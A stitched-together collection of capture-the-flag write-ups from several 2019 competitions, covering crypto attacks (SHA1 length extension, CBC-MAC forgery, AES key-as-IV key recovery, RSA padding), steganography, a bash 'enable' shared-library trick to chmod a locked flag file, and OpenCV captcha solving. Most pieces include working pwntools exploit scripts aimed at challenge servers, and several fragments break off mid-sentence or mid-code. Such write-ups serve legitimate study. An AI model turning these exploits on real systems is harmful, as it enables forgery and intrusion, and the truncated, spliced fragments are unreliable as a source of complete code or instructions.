FinalFlag```
## Challenge description: An oddly yellow cat handed me this [message](https://github.com/TheEquus/angstromCTF2019-Writeups/blob/master/misc/project.json) - what could it mean?## Solution: We are given a file called 'project.json'. Whilst at first the data was confusing, upon looking at the raw data, I noticed the words 'Sprite-1'. Which reminded me heavily of the ol' primary school days of messing around on Scratch. Upon piecing together the title of the challenge, as well as the description, it was clear that this json file must be from Scratch. Going to https://scratch.mit.edu/projects/editor/?tutorial=getStarted I loaded up the json file. The program seems to do something when the green flag is clicked. So when clicking it, after a few seconds of amusement, we get our flag: `actf{Th5_0pT1maL_LANgUaG3}`
The task was solved by Vesim and b3niup from our team. The flag was owned by the user but it had chmods of 000. Because of that `read < /flag` didn't work. So, you had to fire a chmod or fchmod syscall somehow to make the file readable. If you do man bash and read a lot, you can find an interestinng feature/command: enable. This let's you load plugins to bash in a form of` .so` files. So: Prepare a shared library that would do chmod syscall on the flag file:```#include <sys/stat.h>__attribute__((constructor)) void foo(void) { chmod("/flag", S_IRUSR | S_IRGRP | S_IROTH);}``` Build it: `gcc -shared -nostdlib -fPIC -static -o libtest.so -fPIC test.c` Send the shared library to the server - afaik we used http://eusebeia.dyndns.org/bashcp Enable plugin and name it foo: enable -f /libtest.so foo (afaik it will warn/error out that it lack some struct - as we didn't conform the bash plugin API or sth - but the chmod will occur) Read the flag - either with` echo $(
bogged=============== The Challenge--------------- This challenge gave 150 points and had 23 solves. The challenge description said: ``` Two strange men called me last night. They call themselves the Bogdanoff twins. I don't know much about cryptocurrency- can you help them with their scheme? nc bogged.wpictf.xyz 31337 (or 31338 or 31339) made by rm -k https://soundcloud.com/nanosmusics/one?in=nanosmusics/sets/p-o-r-n-o``` Additionally a python script was given: `leaked_source.py` When connection via nc we are given the following prompt: ``` BOGDANOFF: Bonjour... We have access to the Binance backdoor, and got you into a compromised teller station.We need you to steal tethered cryptocurrency from people's wallets.We were halted by an unfortunate countermeasure in the teller system, but we have an account ready to recieve the stolen crypto. Steal the currency from cryptowojak123. Transfer it to not_b0gdan0ff. Transfer everything... then we will kill him, and find another. Do not fail us. Welcome to the Binance Teller Terminal!Please remember to use admin-issued auth tokens with each account transfer! Either enter a command or one of the following keywords: accounts: List of accounts currently on the system.history: A history of prior terminal commands.help: A reminder on how to use this terminal.``` The History command gives us: ``` Command:history ///// TRANSACTION HISTORY ////////////////////////// Command:withdraw john.doeAuth token:b4c967e157fad98060ebbf24135bfdb5a73f14dcAction successful! Command:withdraw john.doe;deposit xXwaltonchaingangXxAuth token:455705a6756fb014a4cba2aa0652779008e36878Action successful! Command:withdraw cryptowojak123;deposit xXwaltonchaingangXxAuth token:e429ffbfe7cabd62bda3589576d8717aaf3f663fAction successful! Command:withdraw john.doeAuth token:b4c967e157fad98060ebbf24135bfdb5a73f14dcAction successful! ////////////////////////////////////////////////////``` * Note:Command can be concatenated in an arbitrary way. The accounts command gives us: ```Command:accounts cryptowojak123sminem.1337xXwaltonchaingangXxjohn.doenot_b0gdan0ff ``` When taking a look at the `leaked_source.py`.We notice that the sha1 hash algorithm is used and that the secret is concatenated with the command to generate the token: `hashed = hashlib.sha1(secret+command).hexdigest() ` We found online a tool called `hlextend` which executes a length-extension-attack.Using this tool, we only needed to "brute-force" the length of the secret to get a valid hash for an extended command.The extended command will then be something like:`withdraw cryptowojak123;deposit xXwaltonchaingangXx\x80\x00\x00\x00\x00\x00\x00\x00\x00\xa8;withdraw cryptowojak123;deposit not_b0gdan0ff` The rest was up to the `exploit.py` script.After trying several length, the script gave out the flag, which was:`WPI{duMp_33t_aNd_g@rn33sh_H1$_wAg3$}` As none of our team members was aware of this kind of attack, we spend a great deal of the time googling the problem.When we found the right type of attack, the solution was not too hard to implement. A lot of credit goes to Eric for solving this challenge.
By google, I found this.https://github.com/p4-team/ctf/tree/master/2018-12-08-hxp/crypto_daring> Adding zero padding here can be viewed simply as bit-shifting left, so just simple multiplication. Each 0 byte added to the plaintext as padding is just multiplying plaintext by 256. So in order to remove those, we need to divide by 256, which is the same as multiply by modinv(256,n)```from Crypto.Util.number import *import gmpy2n = 16930533490098193592341875268338741038205464836112117606904075086009220456281348541825239348922340771982668304609839919714900815429989903238980995651506801223966153299092163805895061846586943843402382398048697158458017696120659704031304155071717980681280735059759239823752407134078600922884956042774012460082427687595370305553669279649079979451317522908818275946004224509637278839696644435502488800296253302309479834551923862247827826150368412526870932677430329200284984145938907415715817446807045958350179492654072137889859861558737138356897740471740801040559205563042789209526133114839452676031855075611266153108409e = 3c = 11517346521350511968078082236628354270939363562359338628104189053516869171468429130280219507678669249746227256625771360798579618712012428887882896227522052222656646536694635021145269394726332158046739239080891813226092060005024523599517854343024406506186025829868533799026231811239816891319566880015622494533461653189752596749235331065273556793035000698955959016688177480102004337980417906733597189524580640648702223430440368954613314994218791688337730722144627325417358973332458080507250983131615055175113690064940592354460257487958530863702022217749857014952140922260404696268641696045086730674980684704510707326989 new_ct = c * pow(inverse(256, n) ** 84, e, n)new_ct %= nfor i in range(10000): potential_pt, is_cube = gmpy2.iroot(new_ct + (n * i), e) if is_cube: print(i, long_to_bytes(potential_pt)) ```
## Challenge Description:The year is 20XX. ångstromCTF only has pwn challenges, and the winner is solely determined by who can establish a socket connectionfirst. In the data remnants of an ancient hard disk, we've recovered a [string of letters and digits](https://github.com/TheEquus/angstromCTF2019-Writeups/blob/master/Crypto/runes.txt). The only clue is the etching on the disk's surface: Paillier. ## Solution:We are given a text file called 'runes.txt'. Through the challenge description, we are told that it's Paillier. Essentially what I did for this challenge was go to the Paillier wikipedia page (thank you wikipedia) and see how it is decrypted.Most of the steps are very similar to RSA, however, there are a few minor differences. First, I factored n, to get p and q. Then just like RSA, I found the totient = (p - 1) * (q - 1).Now I needed to find L(x) = (x - 1) / n , where x = (c ** phi) % n ** 2(Note, in my code, I used integer division rather than just division because it worked for some reason - normal division resultedin a float, which just didn't work out)And finally, we needed meu, the modular multiplicative inverse of phi mod n. At last, we can get the message using:```m = (L * meu) % n``` Just like RSA, converting that to hex, then back to ascii gives us the flag:`actf{crypto_lives}` My code for this can be accessed [here](https://github.com/TheEquus/angstromCTF2019-Writeups/blob/master/Crypto/Paillier.py).
## Challenge Description:Every CTF starts off with a Caesar cipher, but we're more [classy](https://github.com/TheEquus/angstromCTF2019-Writeups/blob/master/Crypto/classy_cipher.py). ## Solution:So we are given a python script 'classy_cipher.py' of something similar to a caesar shift. The most important part of the code is:```e += chr((ord(c)+s) % 0xff) e = ':
## Challenge Description:Mm, coffee. Best served with [half and half](https://github.com/TheEquus/angstromCTF2019-Writeups/blob/master/Crypto/half_and_half.py)! ## Solution:We are given a python file called 'half_and_half.py'. Looking at the program, we can see that the flag is split in half, and for each character in each half, are xor'd with eachother, resulting in the following hex outputs:```'\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"'```At first, I thought that the output for one of the was the hex value: '0x100'. However I realised that this is not possible,considering the binary representation of that is '100000000' with 9 digits. And 2 8 digit binaries xor'd together does not makean extra digit appear out of nowhere. Considering that \t and \n was in the result, rather than their hex equivalent \x09 and \x0a,I assumed that the output was in fact \x10 and the number 0, rather than \x100. So upon realising all that, the hex codes were:```hex_codes = [15, 02, 07, 12, 1e, 10, 30, 01, 09, 0a, 01, 22]```Since we know the format of the flag is actf{...} we can figure out at least part of each half of the flag.```milk = 'actf{'cream = 'taste'``` Now, the rest of this I couldn't have gotten without a bit of help. After being told that the description was pretty important forguessing the rest of the flag, I realised that coffee must be the important piece of info. So just guessing that coffee must be somewhere in the flag, I xor'd 'coffee' with hex: 10, 30, 01, 09, 0a, 01 first.Whilst you could do this manually by converting everything into binary and xor-ing it, I used an online xor calculator to do it all for me. And as it turns out, with `actf{coffee`, I get `tastes_good` (coffee xor'd with hex became s_good) for the second half, leavingonly one more character left for each half. It can easily be assumed that the last characters for each side is _ and }, and to make sure, I xor'd _ with } and did indeed get the hex value 22. Therefore, our flag is `actf{coffee_tastes_good}`
# IcthyoDescription: Long before stegosaurus roamed the earth, another [species](icthyo) prowled the sea; here is an artist's [rendition](out.png). Type `strings icthyo` we saw some interesting things```...%s must be 256 x 256%s must be 8 bit depth%s must be RGBmessage (less than 256 bytes): USAGE: %s in.png out.png...```We guess it will hide some message in the `out.png` using `in.png` We created a `white.png` with size of 256 x 256 to test the function```bash./icthyo white.png sample.pngmessage (less than 256 bytes): hello```It just prompt for the message to hide and exit We open this in Ghidra and decompile it, the main function:```cint main(int iParm1,undefined8 *puParm2) { time_t tVar1; if (iParm1 != 3) { printf("USAGE: %s in.png out.png\n",*puParm2); /* WARNING: Subroutine does not return */ exit(1); } tVar1 = time((time_t *)0x0); srand((uint)tVar1); read_file(puParm2[1]); encode(); write_file(puParm2[2]); return 0;}```Look at the encode function looks complicated:```cvoid encode(void) { char cVar1; int iVar2; byte *pbVar3; long lVar4; undefined8 *puVar5; long in_FS_OFFSET; int rowValue; int colValue; int counter; undefined8 local_118 [33]; long local_10; long currentRow; local_10 = *(long *)(in_FS_OFFSET + 0x28); lVar4 = 0x20; puVar5 = local_118; while (lVar4 != 0) { lVar4 = lVar4 + -1; *puVar5 = 0; puVar5 = puVar5 + 1; } printf("message (less than 256 bytes): "); fgets((char *)local_118,0x100,stdin); rowValue = 0; while (rowValue < 0x100) { currentRow = *(long *)(rows + (long)rowValue * 8); colValue = 0; while (colValue < 0x100) { pbVar3 = (byte *)(currentRow + (long)(colValue * 3)); iVar2 = rand(); *pbVar3 = (byte)iVar2 & 1 ^ *pbVar3; iVar2 = rand(); pbVar3[1] = pbVar3[1] ^ (byte)iVar2 & 1; iVar2 = rand(); pbVar3[2] = pbVar3[2] ^ (byte)iVar2 & 1; colValue = colValue + 1; } counter = 0; while (counter < 8) { pbVar3 = (byte *)(currentRow + (long)(counter * 0x60)); cVar1 = *(char *)((long)local_118 + (long)rowValue); if ((pbVar3[2] & 1) != 0) { pbVar3[2] = pbVar3[2] ^ 1; } pbVar3[2] = pbVar3[2] | (byte)((int)cVar1 >> ((byte)counter & 0x1f)) & 1 ^ (pbVar3[1] ^ *pbVar3) & 1; counter = counter + 1; } rowValue = rowValue + 1; } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;}```Basically it prompt the message to hide:```cprintf("message (less than 256 bytes): ");fgets((char *)local_118,0x100,stdin);```And add 1 or minus 1 to every column in every row:```cwhile (colValue < 0x100) { pbVar3 = (byte *)(currentRow + (long)(colValue * 3)); iVar2 = rand(); *pbVar3 = (byte)iVar2 & 1 ^ *pbVar3; iVar2 = rand(); pbVar3[1] = pbVar3[1] ^ (byte)iVar2 & 1; iVar2 = rand(); pbVar3[2] = pbVar3[2] ^ (byte)iVar2 & 1; colValue = colValue + 1;}```And hide the message in specific coordinates in the output image:```ccounter = 0;while (counter < 8) { pbVar3 = (byte *)(currentRow + (long)(counter * 0x60)); cVar1 = *(char *)((long)local_118 + (long)rowValue); if ((pbVar3[2] & 1) != 0) { pbVar3[2] = pbVar3[2] ^ 1; } pbVar3[2] = pbVar3[2] | (byte)((int)cVar1 >> ((byte)counter & 0x1f)) & 1 ^ (pbVar3[1] ^ *pbVar3) & 1; counter = counter + 1;}```After we do some research for how C reads the image,## Reference[A simple libpng example program](http://zarb.org/~gc/html/libpng.html) We realize `pbVar3` is the RGB value in the pixel which means:```cpbVar3[0] //is RpbVar3[1] //is GpbVar3[2] //is B```According to the code:```cif ((pbVar3[2] & 1) != 0) { //if B is not even pbVar3[2] = pbVar3[2] ^ 1; //make it even}```And the most complicated line here:```cpbVar3[2] = pbVar3[2] | (cVar1 >> (counter & 0x1f)) & 1 ^ (pbVar3[1] ^ pbVar3) & 1;````cVar1` is the message char follow the current `rowValue````ccVar1 = *(char *)((long)local_118 + (long)rowValue);```And the `cVar1` shift right number of `counter`:```c// If cVar1 is 'h'// h in binary is 01101000// shift right 101101000 -> 00110100// shift right 201101000 -> 00011010```The `counter` start with `0` and loop until `7` That means the `(cVar1 >> (counter & 0x1f))` is equal to `cVar1 >> counter` Because `counter` doing bitwise to 0x1f has no effect if the value is 0 to 7 So the process looks like this:```c// If cVar1 is 'h'// h in binary is 01101000cVar1 >> 0 -> 01101000cVar1 >> 1 -> 0110100cVar1 >> 2 -> 011010cVar1 >> 3 -> 01101cVar1 >> 4 -> 0110cVar1 >> 5 -> 011cVar1 >> 6 -> 01cVar1 >> 7 -> 0```After that it perform bitwise AND for 1 Means if the last bit is `1` the result is `1`, if `0` the result is `0````ccVar1 >> 0 -> 01101000 & 1 = 0cVar1 >> 1 -> 0110100 & 1 = 0cVar1 >> 2 -> 011010 & 1 = 0cVar1 >> 3 -> 01101 & 1 = 1cVar1 >> 4 -> 0110 & 1 = 0cVar1 >> 5 -> 011 & 1 = 1cVar1 >> 6 -> 01 & 1 = 1cVar1 >> 7 -> 0 & 1 = 0```If you arrange the result, you will see is exactly the same as the binary:``` 0 0 0 1 0 1 1+ 0------------ 01101000------------```But after that, the result will XOR with `(pbVar3[1] ^ pbVar3) & 1` Which means if `(pbVar3[1] ^ pbVar3)` last bit is `1` and result is `1` then `1 XOR 1 = 0````c1 ^ 1 = 0 //if cVar1 >> counter = 1 and (pbVar3[1] ^ pbVar3) = 11 ^ 0 = 1 //if cVar1 >> counter = 1 and (pbVar3[1] ^ pbVar3) = 00 ^ 1 = 1 //if cVar1 >> counter = 0 and (pbVar3[1] ^ pbVar3) = 10 ^ 0 = 0 //if cVar1 >> counter = 0 and (pbVar3[1] ^ pbVar3) = 0```Lastly it perform OR bitwise with the result:```c//if pbVar3[2] (B) is 255if ((pbVar3[2] & 1) != 0) { //if B last bit is 1 pbVar3[2] = pbVar3[2] ^ 1; //B last bit become 0, 255 - 1 = 254}pbVar3[2] = 254 | 0 = 254pbVar3[2] = 254 | 1 = 255```Summarize the equation:```cB = B | message & 1 ^ (G ^ R) & 1```It got four possible:```c1 & 1 ^ 1 & 1 = B add 0 means B is even or last bit is 01 & 1 ^ 0 & 1 = B add 1 means B is odd or last bit is 10 & 1 ^ 1 & 1 = B add 1 means B is odd or last bit is 10 & 1 ^ 0 & 1 = B add 0 means B is even or last bit is 0```Our target is to find message Simplify the equation:```cB = message ^ (G ^ R)message = B ^ (G ^ R)``` So if we know the RGB value, we can find the message! I wrote a [python script](solve.py) that uses PIL to get all the pixel RGB value And we get the flag!!!```bashpython solve.py actf{lurking_in_the_depths_of_random_bits}``` ## Flag> actf{lurking_in_the_depths_of_random_bits}
# Lattice ZKP - 150 points - 28 solves## Lattice-based ZKP (without randomness). I get into details on the protocol in the writup of *RandomZKP*. Here we need to find a vector `s` to get the flag. We are given a server that outputs a random vector `r` or `r+s` but not both. After, playing around a bit, we quickly realize that `r` doesn't change between queries and is thus constant. We therefore ask for `r` then for `r+s`, and get `s=(r+s)-r`. Decrypting the flag is then easy... Here is the python implementation:```pythonfrom pwn import *from Cryptodome.Util.asn1 import DerSequencefrom Cryptodome.Util.strxor import strxorfrom Cryptodome.Hash import SHAKE256from binascii import unhexlifyimport numpy as np def get(i): r = remote('54.159.113.26', 19003) x = r.recvuntil('Choice: ') d = DerSequence() s = unhexlify(x.split(b': ')[1].split(b'\n')[0]) y = d.decode(s) y = np.array(y) r.sendline(str(i)) x = r.recvuntil('\n')[:-1] d = DerSequence() sss = b'r+s: ' if i else b'r: ' s = unhexlify(x.split(sss)[1]) z = d.decode(s) z = np.array(z) r.close() return z rs = get(1)r = get(0)s = rs-r flag = open('lattice_zkp/flag.enc','rb').read()s = bytes(np.mod(s,256).tolist())shake = SHAKE256.new()shake.update(s)pad = shake.read(len(flag))print(strxor(pad,flag))```which outputs the flag `actf{deep_into_that_darkness_learning_with_errors_goes}`.
## Challenge description:The redacted version of the Mueller report was finally released this week! There's some pretty funny stuff in there, but maybe [the report](https://drive.google.com/file/d/15smk_9kADOHYBiPY-ViAYBN891VRWIQd/view?usp=sharing) has more beneath the surface. ## Solutions:We are given a pdf file titled 'full-mueller-report.pdf'. The pdf seems to legitimately be the full mueller report. However, we're here to find a flag, not to read a 100+ paged report. Doing a simple ctrl + f search for 'actf' yielded nothing. So assuming this was a simple stego challenge, I opened the file up ina hex editor (notepad works too). Doing a search for 'actf' finally got the flag we were searching for: `actf{no0o0o0_col1l1l1luuuusiioooon}`
# Icthyo - 130 points - 75 solves## Custom steganography We get a binary that takes a 256x256 image and a message and outputs a modified 256x256 image. Also, we get an image of dinosaurs that is probably the output of the binary on an image with the message set to the flag. Undestanding the binary took a lot of staring at the assembly. But basically, the original image has the lsb of each pixel randomly flipped. Then the message is used to specifically set the lsb of some pixels. Here is the code to recover the message:```python# icthyo.pyimport numpy as npfrom PIL import Imageimport sys def get_bit(i,vec): return (vec[i<<5]^vec[(i<<5)+1]^vec[(i<<5)+2])&1 def get_byte(im,index): vec = im[index,:,:].ravel() return chr(int(''.join(reversed([str(get_bit(3*i,vec)) for i in range(7)])),2)) def get_message(fp, length): im = Image.open(fp) im = np.array(im) return ''.join((get_byte(im,i) for i in range(length))) if __name__=='__main__': print(get_message(sys.argv[1], int(sys.argv[2])))``` Running on a custom image gives the correct result:```bash~/Desktop/ctf/angstrom/rev$ ./icthyo image.png outimage.pngmessage (less than 256 bytes): ABCDEFGH~/Desktop/ctf/angstrom/rev$ python icthyo.py outimage.png 8ABCDEFGH``` Finally, running it on the image given by the challenge gives the flag:```bash~/Desktop/ctf/angstrom/rev$ python icthyo.py out.png 42actf{lurking_in_the_depths_of_random_bits}```
# MAC Forgery - 220 points - 36 solves## CBC-MAC forgery with chosen IV. We get a `welcome` message along with its CBC-MAC (including the IV). The goal is the find **any** other message on which we can compute a valid CBC-MAC (with control on the IV). The CBC-MAC implementation somewhat prevents from tampering by prepending the block length to the message. The block length of `welcome` is 7, therefore the CBC-MAC is computed with ``` IV------000007------ M1------...------ M7 ---> MAC```We can derive a new message from `welcome` by appending to it a modified copy of itself. Here the new message:``` IV'------00000f ---> Same as E(IV^0007)------ M1------...------ M7 ---> Same MAC as before------ LOAD ---> Same as E(IV^00007)------ M1------...------ M7 ---> Same MAC as before``` We need to take care of the following details:* The new message block length is 15, thus we change the initial `IV` to `IV'` so that `IV' ^ 0000f = 00007`.* The string `LOAD` is designed so that `E(LOAD^MAC) = E(00007^IV)`. That way, the chain of encryptions is reproduced for the copy of `welcome`. We just set `LOAD = MAC ^ 00007 ^ IV`. Here is the (sloppy) python implementation:```pythonfrom pwn import *from binascii import hexlify, unhexlifyfrom Cryptodome.Util.Padding import padfrom Cryptodome.Util.number import long_to_bytesfrom Cryptodome.Util.strxor import strxorfrom Cryptodome.Random import get_random_bytesfrom time import sleep split = lambda s, n: [s[i:i+n] for i in range(0, len(s), n)] welcome_or = b'''\If you provide a message (besides this one) witha valid message authentication code, I will giveyou the flag.''' welcome = pad(welcome_or,16)welcome = split(welcome,16)welcome.insert(0, long_to_bytes(len(welcome), 16)) r = remote('54.159.113.26', 19002) x = r.recvuntil('Message: ')mac = x.split(b'MAC: ')[1].split(b'\n')[0]mac = unhexlify(mac)iv = mac[:16]mac = mac[16:]payload = strxor(strxor(welcome[0],mac),iv) niv = strxor(strxor(iv,long_to_bytes(len(welcome)-1,16)),long_to_bytes(2*len(welcome)-1, 16)) fin = welcome[1:] + [payload]fin = b''.join(fin) + welcome_or r.sendline(hexlify(fin))r.sendline(hexlify(niv)+hexlify(mac))sleep(2)ans = r.recv()print(ans)r.close()```which outputs the flag `actf{initialization_vectors_were_probably_a_bad_idea}`.
# Powerball - 200 points - 51 solves We need to find 6 numbers `b1,...,b6` between 0 and 4096. We are given random numbers `x1,...,x6` and `m1,...,m6` with```mi = bi + (v-xi)**d mod n```for a secret `d` and a given `v`. However, we know `n` and `e` with `e*d=1 mod phi(n)`. Therefore, for each `i`, we just have to loop over all possible values of `bi` to check if ```(mi-bi)**e = v-xi mod n```which is fast since `0<=bi<4096`. We then outputs the found `bi`s to get the flag. Here is the python implementation:```pythonfrom pwn import *import re e = 65537n = 24714368843752022974341211877467549639498231894964810269117413322029642752633577038705218673687716926448339400096802361297693998979745765931534103202467338384642921856548086360244485671986927177008440715178336399465697444026353230451518999567214983427406178161356304710292306078130635844316053709563154657103495905205276956218906137150310994293077448766114520034675696741058748420135888856866161554417709555214430301224863490074059065870222171272131856991865315097313467644895025929047477332550027963804064961056274499899920572740781443106554154096194288807134535706752546520058150115125502989328782055006169368495301 r = remote('54.159.113.26', 19001)x = r.recvuntil('v: ')x = eval(re.findall(b'\[.*\]',x)[0])r.sendline('0')bla = r.recvuntil('Ball 1: ')m = eval(re.findall(b'\[.*\]',bla)[0])for i in range(6): for b in range(4096): if pow(m[i]-b,e,n) == (-x[i])%n: r.sendline(str(b)) bla = r.recv() break bla = r.recv()print(bla)```which outputs the flag `actf{no_more_free_oblivious_transfers}`.
# Sight at Last```bashWritten by jfrucht25 nc p1.tjctf.org 8005```When I connected I saw many lines of base64 string:```bash# nc p1.tjctf.org 8005To get the flag, solve a hundred captchas in 500 seconds!Find the minimum distance between the centers of two circles to continue:/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAGQAZADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0.........AUUUUAFFFFABRRRQAUUUUAf/9k=>>> ```Using `base64 -d` command you can decode the base64: `echo "/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDB..." | base64 -d` And redirect it to a file: `echo "/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDB..." | base64 -d > file` Using `file "file"` to identify what file is this: ```bashfile filefile: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 400x400, frames 3```And its a image that has alot of black circle with white backgroud: ![file](file) The connection said `Find the minimum distance between the centers of two circles to continue:` So I guess we need to find distance in **pixel** between each circles and find the minimum one And It also stated `solve a hundred captchas in 500 seconds` **That is impossible for human!** We must write a script that can do this job for us After some research, we found **OpenCV** has a function that can detect circles in an image ## Resources[Detecting Circles in Images using OpenCV and Hough Circles](https://www.pyimagesearch.com/2014/07/21/detecting-circles-images-using-opencv-hough-circles/) [Hough Circle Transform](https://opencv-python-tutroals.readthedocs.io/en/latest/py_tutorials/py_imgproc/py_houghcircles/py_houghcircles.html) ### Decode base64 and save the image to test.jpg```pythons = remote('p1.tjctf.org',8005)print s.recvuntil("Find the minimum distance between the centers of two circles to continue:\n")text = s.recvuntil("\n>>>")[:-4].decode('base64')open('test.jpg','w').write(text)```### Using OpenCV libraries to detect circles```pythonimg = cv2.imread('test.jpg',0)img = cv2.medianBlur(img,5)cimg = cv2.cvtColor(img,cv2.COLOR_GRAY2BGR) circles = cv2.HoughCircles(img,cv2.HOUGH_GRADIENT,1,20, param1=50,param2=30,minRadius=0,maxRadius=0)circles = np.uint16(np.around(circles))for i in circles[0,:]: # draw the outer circle cv2.circle(cimg,(i[0],i[1]),i[2],(0,255,0),2) # draw the center of the circle cv2.circle(cimg,(i[0],i[1]),2,(0,0,255),3)```### Show the after detecting```pythoncv2.imshow('detected circles',cimg)cv2.waitKey(0)cv2.destroyAllWindows()```But It only detected 4 circles =( ![output](test2.jpg) After I changing the `param2` to 20 the result improved But also detected not the circle I wanted: ![output2](test3.jpg) After alots of trial and errors (Changing the `param1` and `param2`) , I finally got a nice output: ![output3](test4.jpg) Using the Distance formula to calculate distance in terms of pixel: ![distance](the_distance_formula.png) `distance = sqrt((x1 - x2) + (y1 - y2))` After few hours of struggle, I finally solve this!! It needs very precise distance in decimal and the difference between the actual distance can't more than 1:```>>> aTraceback (most recent call last): File "/home/app/run.py", line 43, in <module> main() File "/home/app/run.py", line 28, in main if not checkcaptcha(): File "/home/app/run.py", line 20, in checkcaptcha return abs(float(input('>>> ').strip()) - dist) < 1``` So I scale up the orginal image to 300% to get precise distance:```pythonfrom PIL import Imageimage = Image.open('test.jpg')image = image.resize((image.width*3,image.height*3),Image.ANTIALIAS)image.save('test.jpg')``` And run it in a infinity loop, if it failed it will restart:```pythons = remote('p1.tjctf.org',8005)while(1): try: ... ... ... except: s.close() s = remote('p1.tjctf.org',8005)```[Final Solution](solve.py) Result:```Find the minimum distance between the centers of two circles to continue: 43.0464865000617678 98 Correct! You have 419.3 seconds left. Find the minimum distance between the centers of two circles to continue: 41.40048308896890461 99 Correct! You have 418.4 seconds left. Nice! Your flag is: tjctf{i5_th1s_c0mput3r_v1si0n?}```## Flag> tjctf{i5_th1s_c0mput3r_v1si0n}
# We Three Keys ![](./brief.png) The challenge provides the code used on the netcat server. I've redacted some code for legibility purposes. ```python#!/usr/bin/env python2from Crypto.Cipher import AESfrom keys import key1, key2, key3 def main(): print("Hello! We present you with the future kings, we three keys!") print("Pick your key, and pick wisely!") key_opt = str(raw_input("<= ")) if key_opt == "1": key = key1 elif key_opt == "2": key = key2 elif key_opt == "3": key = key3 else: print("Come on, I said we have 3!") exit() while True: print("1) Encrypt a message") print("2) Decrypt a message") print("3) Choose a new key") print("4) Exit") choice = str(raw_input("<= ")) if choice == "1": encrypt_message(key, key) elif choice == "2": decrypt_message(key, key) elif choice == "3": key = new_key() else: exit() if __name__=='__main__': main()``` The key element here is the use of the key as the IV! ```pythonencrypt_message(key, key)``` This opens up the encryption up to the ```key == IV``` attack. ### ExploitBecause we can choose plaintext to be encrypted we have a Chosen Plaintext Attack **CPA**. The attack begins by encrypting at least 3 blocks of plaintext ```AES_ENCRYPT(P1, P2, P3) = C1, C2, C3``` Then taking the ```C1``` to produce a special payload ```CT' = C1 0 C1``` We then take this ciphertext and decrypt it. This then gives us: ```PT1' PT2' PT3'``` And: ```PT1' ⊕ PT3' == IV (Key)``` This relationship is due to how AES-CBC mode operates. ![](./CBC_decryption.png) This means when we XOR ```PT1'``` and ```PT3'``` ```(Decrypt[CT1] ⊕ KEY) ⊕ (Decrypt[CT1]) == KEY``` Meaning we've been able to extract the key! The exploit code can be seen below: ```pythonfrom pwn import *import re def split_in_blocks(ct): return re.findall(".{32}", ct) def hexXor(a, b): """ Produces an XOR result of two equal length Hex values """ if len(a) != len(b): raise("Error: incorrect length in hexXor") length = len(a) binA = bin(int(a, 16))[2:].zfill(length) binB = bin(int(b, 16))[2:].zfill(length) xor = int(binA, 2) ^ int(binB, 2) # Format ensures that the hex values are always the same length hexOutput = format(xor, f"#0{length + 2}x")[2:] return hexOutput def get_key(keyNumber, payload): r.recvuntil("<= ") r.sendline(f"{keyNumber}") r.recvuntil("<= ") r.sendline("1") r.recvuntil("<= ") r.sendline(payload) ct = r.read().decode("utf-8") # Hacked cipher text ct_blocks = split_in_blocks(ct) ct_blocks[1] = "00" * 16 ct_blocks[2] = ct_blocks[0] r.recvuntil("<= ") r.sendline("2") r.recvuntil("<= ") r.sendline("".join(ct_blocks)) ct_prime = r.read().decode("utf-8") ct_prime_blocks = split_in_blocks(ct_prime) key = hexXor(ct_prime_blocks[0], ct_prime_blocks[2]) r.recvuntil("<= ") r.sendline("3") return key r = remote("chal1.swampctf.com", 1441) # Creation of the faked CTpt = "41" * 16payload = pt + pt + pt flag = ""flag += get_key(1, payload)flag += get_key(2, payload)flag += get_key(3, payload) print(flag)``` This gives us the output: ```666c61677b7730775f776834745f6c347a795f6b33797a5f6d7563685f7733346b5f6372797074305f6634316c73217d``` When decode from hex gives us the flag:```flag{w0w_wh4t_l4zy_k3yz_much_w34k_crypt0_f41ls!}```
# Wall-E - 130 points - 53 solves## Useless RSA padding Looking at the source code, we see an obvious bug in the line```pythonm = bytes_to_long(flag.center(255,'\x00'))```since this pads the flag **only** to the right. Let `p` be the number of padding bits to the right of the flag. Then the padding just multiplies the flag by `2**p`. Therefore, `c = 2**(e*p)*flag**e mod n` and thus ```flag**e = 2**-(e*p)*c mod n```The byte-length of `flag` is at most 86 and the bit-length of `n` is 2048. If the length of `flag` is 85 or less, the bit-length of `flag**3` is at most `3*8*85=2040<2048` and so the encryption doesn't loop around `n`. In that case we simply take the integer cube-root of `2**-(e*p)*c` and get the flag. If the length of `flag` is 86, the bit-length of `flag**3` is at most `3*8*86=2064`. Thus, ```flag**3 = 2**-(e*p)*c + k*n``` for `k<2**16`. We simply loop over these values of `k` and take the cube-root until we find a valid flag. Here is the python code:```pythonfrom Crypto.Util.number import inverse, bytes_to_long, long_to_bytesfrom binascii import *from sympy import integer_nthrootn = 